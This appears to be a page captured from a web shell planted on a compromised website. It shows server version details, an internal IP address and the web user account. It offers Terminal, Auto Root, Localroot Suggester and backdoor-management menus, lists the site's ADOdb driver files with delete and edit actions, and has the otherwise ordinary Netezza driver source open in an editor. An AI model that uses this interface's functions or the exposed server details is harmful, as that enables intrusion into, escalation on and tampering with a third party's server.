Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
Mailer /
adodb /
drivers /
Delete
Unzip
Name
Size
Permission
Date
Action
.Index.txt
2.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-access.inc.php
2.1
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado.inc.php
15.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado5.inc.php
15.27
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado_access.inc.php
1.39
KB
-rw-r--r--
2008-01-09 06:26
adodb-ado_mssql.inc.php
2.66
KB
-rw-r--r--
2008-01-09 06:26
adodb-borland_ibase.inc.php
2.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-csv.inc.php
4.75
KB
-rw-r--r--
2008-01-09 06:26
adodb-db2.inc.php
17.07
KB
-rw-r--r--
2008-01-09 06:26
adodb-fbsql.inc.php
6.36
KB
-rw-r--r--
2008-01-09 06:26
adodb-firebird.inc.php
1.87
KB
-rw-r--r--
2008-01-09 06:26
adodb-ibase.inc.php
23.98
KB
-rw-r--r--
2008-01-09 06:26
adodb-informix.inc.php
877
B
-rw-r--r--
2008-01-09 06:26
adodb-informix72.inc.php
13.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-ldap.inc.php
11.7
KB
-rw-r--r--
2008-01-09 06:26
adodb-mssql.inc.php
29.38
KB
-rw-r--r--
2008-01-09 06:26
adodb-mssqlpo.inc.php
1.49
KB
-rw-r--r--
2008-01-09 06:26
adodb-mysql.inc.php
20
KB
-rw-r--r--
2008-01-09 06:26
adodb-mysqli.inc.php
32.81
KB
-rw-r--r--
2023-01-09 12:51
adodb-mysqlt.inc.php
3.14
KB
-rw-r--r--
2008-01-09 06:26
adodb-netezza.inc.php
5.04
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci8.inc.php
41.5
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci805.inc.php
1.54
KB
-rw-r--r--
2008-01-09 06:26
adodb-oci8po.inc.php
5.37
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc.inc.php
19.05
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_db2.inc.php
8.82
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_mssql.inc.php
7.3
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbc_oracle.inc.php
3.11
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbtp.inc.php
20.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-odbtp_unicode.inc.php
1.11
KB
-rw-r--r--
2008-01-09 06:26
adodb-oracle.inc.php
8.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo.inc.php
12.97
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_mssql.inc.php
1005
B
-rw-r--r--
2008-01-09 06:26
adodb-pdo_mysql.inc.php
3.99
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_oci.inc.php
2.56
KB
-rw-r--r--
2008-01-09 06:26
adodb-pdo_pgsql.inc.php
8.24
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres.inc.php
518
B
-rw-r--r--
2008-01-09 06:26
adodb-postgres64.inc.php
30.48
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres7.inc.php
6.77
KB
-rw-r--r--
2008-01-09 06:26
adodb-postgres8.inc.php
351
B
-rw-r--r--
2008-01-09 06:26
adodb-proxy.inc.php
808
B
-rw-r--r--
2008-01-09 06:26
adodb-sapdb.inc.php
4.97
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlanywhere.inc.php
4.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlite.inc.php
10.19
KB
-rw-r--r--
2008-01-09 06:26
adodb-sqlitepo.inc.php
1.82
KB
-rw-r--r--
2008-01-09 06:26
adodb-sybase.inc.php
12.23
KB
-rw-r--r--
2008-01-09 06:26
adodb-sybase_ase.inc.php
3.13
KB
-rw-r--r--
2008-01-09 06:26
adodb-vfp.inc.php
2.42
KB
-rw-r--r--
2008-01-09 06:26
Save
Rename
<?php /* V4.80 8 Mar 2006 (c) 2000-2006 John Lim (jlim#natsoft.com.my). All rights reserved. First cut at the Netezza Driver by Josh Eldridge joshuae74#hotmail.com Based on the previous postgres drivers. http://www.netezza.com/ Major Additions/Changes: MetaDatabasesSQL, MetaTablesSQL, MetaColumnsSQL Note: You have to have admin privileges to access the system tables Removed non-working keys code (Netezza has no concept of keys) Fixed the way data types and lengths are returned in MetaColumns() as well as added the default lengths for certain types Updated public variables for Netezza Still need to remove blob functions, as Netezza doesn't suppport blob */ // security - hide paths if (!defined('ADODB_DIR')) die(); include_once(ADODB_DIR.'/drivers/adodb-postgres64.inc.php'); class ADODB_netezza extends ADODB_postgres64 { var $databaseType = 'netezza'; var $dataProvider = 'netezza'; var $hasInsertID = false; var $_resultid = false; var $concat_operator='||'; var $random = 'random'; var $metaDatabasesSQL = "select objname from _v_object_data where objtype='database' order by 1"; var $metaTablesSQL = "select objname from _v_object_data where objtype='table' order by 1"; var $isoDates = true; // accepts dates in ISO format var $sysDate = "CURRENT_DATE"; var $sysTimeStamp = "CURRENT_TIMESTAMP"; var $blobEncodeType = 'C'; var $metaColumnsSQL = "SELECT attname, atttype FROM _v_relation_column_def WHERE name = '%s' AND attnum > 0 ORDER BY attnum"; var $metaColumnsSQL1 = "SELECT attname, atttype FROM _v_relation_column_def WHERE name = '%s' AND attnum > 0 ORDER BY attnum"; // netezza doesn't have keys. it does have distributions, so maybe this is // something that can be pulled from the system tables var $metaKeySQL = ""; var $hasAffectedRows = true; var $hasLimit = true; var $true = 't'; // string that represents TRUE for a database var $false = 'f'; // string that represents FALSE for a database var $fmtDate = "'Y-m-d'"; // used by DBDate() as the default date format used by the database var $fmtTimeStamp = "'Y-m-d G:i:s'"; // used by DBTimeStamp as the default timestamp fmt. var $ansiOuter = true; var $autoRollback = true; // apparently pgsql does not autorollback properly before 4.3.4 // http://bugs.php.net/bug.php?id=25404 function ADODB_netezza() { } function &MetaColumns($table,$upper=true) { // Changed this function to support Netezza which has no concept of keys // could posisbly work on other things from the system table later. global $ADODB_FETCH_MODE; $table = strtolower($table); $save = $ADODB_FETCH_MODE; $ADODB_FETCH_MODE = ADODB_FETCH_NUM; if ($this->fetchMode !== false) $savem = $this->SetFetchMode(false); $rs =& $this->Execute(sprintf($this->metaColumnsSQL,$table,$table)); if (isset($savem)) $this->SetFetchMode($savem); $ADODB_FETCH_MODE = $save; if ($rs === false) return false; $retarr = array(); while (!$rs->EOF) { $fld = new ADOFieldObject(); $fld->name = $rs->fields[0]; // since we're returning type and length as one string, // split them out here. if ($first = strstr($rs->fields[1], "(")) { $fld->max_length = trim($first, "()"); } else { $fld->max_length = -1; } if ($first = strpos($rs->fields[1], "(")) { $fld->type = substr($rs->fields[1], 0, $first); } else { $fld->type = $rs->fields[1]; } switch ($fld->type) { case "byteint": case "boolean": $fld->max_length = 1; break; case "smallint": $fld->max_length = 2; break; case "integer": case "numeric": case "date": $fld->max_length = 4; break; case "bigint": case "time": case "timestamp": $fld->max_length = 8; break; case "timetz": case "time with time zone": $fld->max_length = 12; break; } if ($ADODB_FETCH_MODE == ADODB_FETCH_NUM) $retarr[] = $fld; else $retarr[($upper) ? strtoupper($fld->name) : $fld->name] = $fld; $rs->MoveNext(); } $rs->Close(); return $retarr; } } /*-------------------------------------------------------------------------------------- Class Name: Recordset --------------------------------------------------------------------------------------*/ class ADORecordSet_netezza extends ADORecordSet_postgres64 { var $databaseType = "netezza"; var $canSeek = true; function ADORecordSet_netezza($queryID,$mode=false) { if ($mode === false) { global $ADODB_FETCH_MODE; $mode = $ADODB_FETCH_MODE; } switch ($mode) { case ADODB_FETCH_NUM: $this->fetchMode = PGSQL_NUM; break; case ADODB_FETCH_ASSOC:$this->fetchMode = PGSQL_ASSOC; break; case ADODB_FETCH_DEFAULT: case ADODB_FETCH_BOTH: default: $this->fetchMode = PGSQL_BOTH; break; } $this->adodbFetchMode = $mode; $this->ADORecordSet($queryID); } // _initrs modified to disable blob handling function _initrs() { global $ADODB_COUNTRECS; $this->_numOfRows = ($ADODB_COUNTRECS)? @pg_numrows($this->_queryID):-1; $this->_numOfFields = @pg_numfields($this->_queryID); } } ?>